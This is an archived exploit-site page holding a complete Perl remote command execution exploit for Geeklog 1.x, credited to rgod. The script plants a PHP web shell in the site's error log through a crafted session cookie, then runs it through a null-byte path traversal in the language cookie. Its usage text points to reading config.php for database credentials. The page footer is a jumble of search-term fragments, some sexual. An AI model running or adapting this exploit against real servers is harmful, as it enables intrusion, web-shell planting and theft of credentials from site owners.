about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Geeklog 1.* (error.log) Remote Commands Execution Exploit (gpc = Off)



2006-02-20 Geeklog 1.* (error.log) Remote Commands Execution Exploit (gpc = Off)
Rated as : Critical

#!/usr/bin/perl -w
use IO::Socket;

print
"*************************************************************************\r\n";
print "|                   Geeklog 1.* remote commands execution     
         |\r\n";
print "|                     By rgod
rgod<AT>autistici<DOT>org                 |\r\n";
print "|                   site: http://retrogod.altervista.org      
         |\r\n";
print "|                                                             
         |\r\n";
print
"*************************************************************************\r\n";
print "| -> this works against magic_quotes_gpc = Off             
            |\r\n";
print
"*************************************************************************\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$cmd=""; for ($i=2; $i<=$#ARGV; $i++)
{$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 3)
{
print "Usage:\r\n";
print "perl pblg_xpl.pl SERVER PATH COMMAND\r\n\r\n";
print "SERVER         - Server where Geeklog is
installed.\r\n";
print "PATH           - Path to Geeklog (ex: /geeklog/ or just /)
\r\n";
print "COMMAND        - a shell command (\"cat
./../config.php\" to see database\r\n";
print "                 username & password\")\r\n";
print "Example:\r\n";
print "perl geeklog_14_xpl.pl localhost /geeklog/ ls -la \r\n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", Timeout  => 10,
PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $shell='<?php ob_clean();echo"Hi
Master!\r\n";ini_set("max_execution_time",0);passthru($_GET[CMD]);die;?>';
  $shell=urlEncode($shell);
  $data="loginname=sun&passwd=sun";
  print $sock "POST ".$path."users.php HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Content-Length:
".length($data)."\r\n";
  print $sock "Cookie: gl_session=%27".$shell."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  print $sock $data;
  close($sock);

  $sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", Timeout  => 10,
PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";

  $xpl="../logs/error.log";
  $xpl=urlEncode($xpl)."%00";
  print $sock "GET
".$path."index.php?CMD=".$cmd." HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Cookie: language=".$xpl.";\r\n";
  print $sock "Connection: Close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);
securitydot.net - 2006-02-20

Advertising

Copyright 2007, SecurityDot
Sat, 22 Nov 2008 04:19:01 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
shreya fuc redtubesex os fingerp mafiarpg.c Mory /search/ex Sex pelaja katrena ka AVS Video i cups trisa CMS is Fre pro evolut 054678 OpenSSH 3 miracle an SARA video orn Www.indian SSH 1.5-2. t445t boob press Advanced G homosexvid xemhinh 2919 BEM 10 music angh t698t CMS is Fre sania.mirz wap.phoner /search/ex savadi uta pop3 t698t websense all+cartoo news for c Meena hot t26t Boobs.Com t166t vanessa na snap OpenSSH 3 orum X X X.com Video Gad Sexy.pic